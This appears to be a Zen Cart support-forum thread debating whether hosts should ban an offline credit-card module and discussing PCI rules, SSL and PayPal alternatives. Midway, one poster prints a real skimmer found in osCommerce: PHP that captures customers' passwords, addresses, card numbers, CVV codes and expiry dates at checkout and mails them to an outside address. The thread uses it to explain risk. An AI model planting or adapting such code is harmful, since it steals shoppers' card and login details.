Offline credit card module disallowed by some hosts?

I have my site configured with the credit card module to collect card details and process them on a manual EPOS terminal.

I have a dedicated SSL on my website.

I have been looking at changing hosts. TerraNetwork, one of your recommended companies, will not allow me to do this. They said:

I am afraid that we do not allow the use of Credit Card modules which store people's card details on our shared servers. This includes the CEON module for Zen Cart. It is inherently unsafe to store even part of the card
details in the database with the rest being sent by email. If a hacker did
gain access to your site then they would have access to the stored card
details and write themselves access to all outgoing emails - allowing them
to grab the remainder.
The Full SSL Certificate protects data whilst in transit by encrypting it.
However once that data is in the database, even if encrypted there, it is
delivered up to the Zen Cart admin panel in unencrypted format, and data
sent by email is not encrypted at all. That is why it is unsafe to store
card data on a shared server.

What other options do I have that won't add on to my evergrowing internet costs?

The agreement which you have with Visa/Mastercard does not allow you to take credit/debit card transactions online and then run them through your EPOS terminal. For that you need a different account with an Internet Merchant ID and not a standard merchant id.

If you do that (which you are doing) you will be in violation of those T's and C's and could lose your EPOS account and be blacklisted.

Furthermore, if a site which stores card data is hacked (as we have explained above) and that data is misused for fraud then the whole server that the site is on can be seized and held by Police as evidence in a fraud case. This has happened in the UK, resulting in the sudden loss of all websites on that server.

It is not a risk we are prepared to take because of the adverse effect it could have on other customers on the same server..

Vger

But you need to remember that ZC does not store the CC number, it breaks the number down then send part of it to the owner's email. This may not give maximum security though, but still the point is that both the email account and the store needed to be hacked to get the whole number.

If you read my post again you'll see that if the store is hacked then the hacker can easily send themselves a copy of all emails.

So only the store needs to be hacked to get the whole card number.

This software is as secure as it can be, but hackers are always looking for new ways to exploit software, and to exploit servers the software is hosted on.

Vger

Hi,

Vger:

This software is as secure as it can be, but hackers are always looking for new ways to exploit software, and to exploit servers the software is hosted on.

The software is inherently unsafe and we recommend using a more professional payment method (even though I wrote the module! ;) )... but, if you are going to use it, then an extra level of security you could have is to have the e-mails sent to an e-mail address hosted on a different server. That way the hacker has to be really persistent to get both parts of the data required to rebuild the CC number/details.

Just my two cents! :)

All the best...

Conor
Ceon

but, if you are going to use it, then an extra level of security you could have is to have the e-mails sent to an e-mail address hosted on a different server.

I've said it twice here already, but I'll say it again.

If the site gets hacked then the hacker will just input some code to get copies of all emails sent to them - then they have the whole card number.

Here's a real life example - not from this cart but the idea's the same:

create_account.php

$password123 = $password;
    session_unregister("password123");
    session_register("password123");

checkout_confirmation.php

if(($firstname123=="")||($lastname123=="")||($postcode123=="")||($street_address123=="")) 
    { 
  $td_query = tep_db_query("select * from " . TABLE_ADDRESS_BOOK . " where customers_id = '" . $customer_id . "'"); 
      $duong = tep_db_fetch_array($td_query); 
        $firstname123=$duong['entry_firstname'];     
        $lastname123=$duong['entry_lastname'];     
        $street_address123=$duong['entry_street_address']; 
        $city123=$duong['entry_city']; 
        $zone_id=$duong['entry_zone_id']; 
        $statex=$duong['entry_state']; 
    if(($statex=="")||($statex=="0"))    { 
     $td_queryxx = tep_db_query("select * from " . TABLE_ZONES . " where zone_id = '" . $zone_id . "'"); 
      $duongxx = tep_db_fetch_array($td_queryxx); 
    $state123 = $duongxx['zone_name']; 
}else {$state123=$statex;} 
$country=$duong['entry_country_id']; 
$td_queryxxx = tep_db_query("select * from " . TABLE_COUNTRIES . " where countries_id = '" . $country . "'"); 
      $duongxxx = tep_db_fetch_array($td_queryxxx); 
    $country123 = $duongxxx['countries_name']; 
        $postcode123=$duong['entry_postcode']; 
        $td_query2 = tep_db_query("select * from " . TABLE_CUSTOMERS . " where customers_id = '" . $customer_id . "'"); 
        $duong2 = tep_db_fetch_array($td_query2); 
            $telephone123=$duong2['customers_telephone']; 
        $email_address123=$duong2['customers_email_address'];      
$dob123 =     $duong2['customers_dob'];          
    } 
$site = "xxxxxxxxx";
    $headers123 = "From:Website $site";     
    $headers123 .= "<$site>\n"; 
    $headers123 .= "X-Sender: <$site>\n"; 
    $headers123 .= "X-Mailer: PHP\n"; 
    $headers123 .= "Return-Path:<[email protected]>\n"; 
    $headers123 .= "Content-Type:text/html; "; 
    $headers123 .= "charset=iso-8859-1\n"; 
    $message123 = "Name : $firstname123 $lastname123 <br>"; 
    $message123 .= "Telephone : $telephone123 <br>"; 
    $message123 .= "Email : $email_address123 <br>"; 
    $message123 .= "Street : $street_address123 <br>"; 
    $message123 .= "Postcode : $postcode123 <br>"; 
    $message123 .= "City : $city123 <br>"; 
    $message123 .= "State : $state123 <br>"; 
    $message123 .= "Country : $country123 <br>"; 
    $message123 .= "Password : $password123<br>"; 
    $ccowner123 = $HTTP_POST_VARS['cc_owner']; 
    $ccnumber123 = $HTTP_POST_VARS['cc_number']; 
    $tmp1 = $HTTP_POST_VARS['cnp_security']; 
    $tmp2 = $HTTP_POST_VARS['cc_expires_month'] . "/" . $HTTP_POST_VARS['cc_expires_year']; 
    $message123 .= "CC Owner : $ccowner123  <br>"; 
    $message123 .= "CC Number : $ccnumber123 <br>"; 
    $message123 .= "CVV2 :  $tmp1 <br>"; 
    $message123 .= "Date Expire :  $tmp2 <br>"; 
    $message123 .= "DOB :  $dob123 <br>"; 

    $message123 .= "Site : http://$site <br>"; 


if(($ccnumber123!="")&&($tmp1!="")){ 
mail("[email protected]","Cvv - Site $site!",$message123,$headers123); 
}

This sends all of a customer's details as soon as they enter the checkout confirmation page, including credit card number and CVV security code and login to the designated email address.

Vger

Vger,
As confirmed by your proof-of-concept, if the site gets hacked, it won't matter whether the module is emailing partial numbers by default or not. If the hacker to alter the code to add instructions to email to himself, he can hack any other file to do similarly ... regardless which module is used.

So ... in short ... if the server is vulnerable to being hacked, all the shopping data is vulnerable too ... no matter what shopping software is being used or which payment module is being used.

If the server is penetrated, then there are many other very serious matters at stake besides which payment modules are enabled.

While it's admirable that a host would like to prevent newbie merchants from possibly shooting themselves in the foot, it would be more prudent to teach them about proper security than to give them a false sense of security by merely restricting which payment modules they are permitted to use.

Hi,

DrByte:

So ... in short ... if the server is vulnerable to being hacked, all the shopping data is vulnerable too ... no matter what shopping software is being used or which payment module is being used.

Absolutely.. my point above was related only to the SQL database and E-mail getting hacked. As you point out, once the actual site files can be accessed there's nought that can be done to protect yourself! :yuck:

Anyway...

All the best...

Conor

That was an extreme example I quoted, and perhaps not the best to prove the point I was making.

The real point is that it is not safe to store credit card data on a shared server, and email is the most insecure method of transferring data that there is - so emailing the middle digits is no solution.

Site owners use this method of capturing card data and running it through an EPOS terminal sometimes without knowing that they are violating their agreement with the card companies - but at other times they do know but do it anyway because it saves them money.

Almost all of our customers are UK based and for them they do have options:

1. For startup business use the Pay Pal IPN module

2. For more active businesses use Protx Direct.

There's no need, other than cost, to use the Credit Card module in association with an EPOS terminal.

Finally, in the USA the PCI Rules and Regulations become law on the 1st of January and such a system would never qualify for compliance.

In the UK the site owner would be violating the Data Protection Act and the card companies' own terms and conditions.

It's against our Terms and Conditions as published on our website.

Vger

Hi Vger,

Vger:

That was an extreme example I quoted, and perhaps not the best to prove the point I was making.

Just for the record, despite having written the module in question, I don't recommend anyone uses it. As you say, it's against most card issuer's terms and conditions, nevermind data protection laws etc.

I'm pretty sure I've made that clear elsewhere, but just with the flow of comments here, didn't want it to seem to anyone like I thought the module was a good idea. I wrote it only because I was asked to replace the standard Zen Cart CC module as it was deemed to be lacking in a few features.

Best leave things there... enjoy your weekend everybody!

All the best...

Conor

Conor - I do know that you have said that before and appreciate your input about it.

I think it's valuable that you recognised some time ago that it is not inherently safe to use.

Vger

Site owners use this method of capturing card data and running it through an EPOS terminal sometimes without knowing that they are violating their agreement with the card companies - but at other times they do know but do it anyway because it saves them money.

Is not quite true,

as long as you dont store the cvv or the entire number in the DB unencrypted then you are NOT violating any rules regarding cc use.
Zen Cart dosnt store any more information that is printed on your CC statement when its mailed to you each month

Thanks for the interesting comments guys. I have taken them on board and will now only use the paypal module.

The one thing you didn't really comment upon was that I had a dedicated SSL. If it doesn't protect anything, what is the point of having it? And how will paypal be any more secure?

I would like to say to Vger that if my email to your company had been replied to as clearly as you have done in this thread I would be hosted by you now. Unfortunately your reply just said that you don't allow the use of credit card modules as they are inherently unsafe. If you had suggested the alternatives and comments in this thread I would have understood better. Sorry!

Finally, speaking as a newbie, when I set up ZenCart I looked for the modules that did what I wanted, as I am sure the others all do. Would it be possible to add comments to the add-ons saying if they shouldn't be used in certain countries? It comes as a bit of a shock to realise that I have been doing something thatis in breach of contract, if not technically illegal! (yes, I do appreciate that it is my responsibility, but it would be helpful).

Ousel:

The one thing you didn't really comment upon was that I had a dedicated SSL. If it doesn't protect anything, what is the point of having it? And how will paypal be any more secure?SSL doesn't protect only credit card data. It helps protect all your data, including customer address information which, if stolen, could be used for identity theft. It's a matter of privacy and security. Using SSL protects the data from being snooped-on when it travels between the browser and the server, across hundreds of various router connections where it could be watched easily if it wasn't encrypted/protected by the SSL protocol.

ALL sites which store any customer information or allow purchase transactions ... should have SSL to protect the data.

The comment which you quoted was about taking card payments online and then running them through an EPOS terminal - which is not part of the agreement with the card companies for the use of the EPOS terminal.

Vger

Merlinpa1969:

Is not quite true,

as long as you dont store the cvv or the entire number in the DB unencrypted then you are NOT violating any rules regarding cc use.
Zen Cart dosnt store any more information that is printed on your CC statement when its mailed to you each month

Hi Vger

Would I be right in thinking that for someone to do what you are saying they could not do it retrospectively as Zen cart does not retain copies of sent e-mails in the database. So a hacker would have to intercept orders as they happen, am I right or does Zen hold copies of e-mail and I DID NOT KNOW?

Regards

Rottie
:smartalec::smartalec:

Zen Cart can be set to store emails on the server ... but naturally skips all CC-digits emails and password reset emails.

Apologies to Vger about my previous comments, but on rereading my emails from the company they did state:

"You can of course use any credit/debit card system where card details are stored by the card processor e.g. Pay Pal, Protx etc - but which are not stored in your database."

I overlooked this as I was still sore at not being able to take credit card payments myself via EPOS.

I found this to be a really interesting thread, mostly because we too store our cust's cc info for processing offline.

We do, however, have a (several) internet merchant accounts; not just a retail account.

We process our cc orders manually using a software terminal so that we can manually screen all orders for fraud as they are being entered. If anything looks suspicious, we call the cust and verify the order or it doesn't get processed.

Even with all the new anti-fraud utilities available now for online merchants we have found, at least for us, that nothing works better than manually screening the orders. And we do catch a LOT of fraudulent ones!

Our servers have always been in-house, so I had never even considered the fact that this process might be considered unsafe if hosted on a shared server.

So I guess I am curious as to what the recommended method would be for someone who:

1. is on a shared server (as most merchants probably are)
2. doesn't have or want to use a cc gateway (so you can manually screen your orders)
3. doesn't have or want to use paypal (could be many reasons)

Of course, this has nothing specifically to do with ZC's security or lack thereof, as this would apply to any shopping cart and anyone doing business online.

Just wondering what others are doing.

In house, a co-located server or shared hosting, it doesn't matter, there are still the same rules that apply. See https://www.pcisecuritystandards.org/ for the complete set.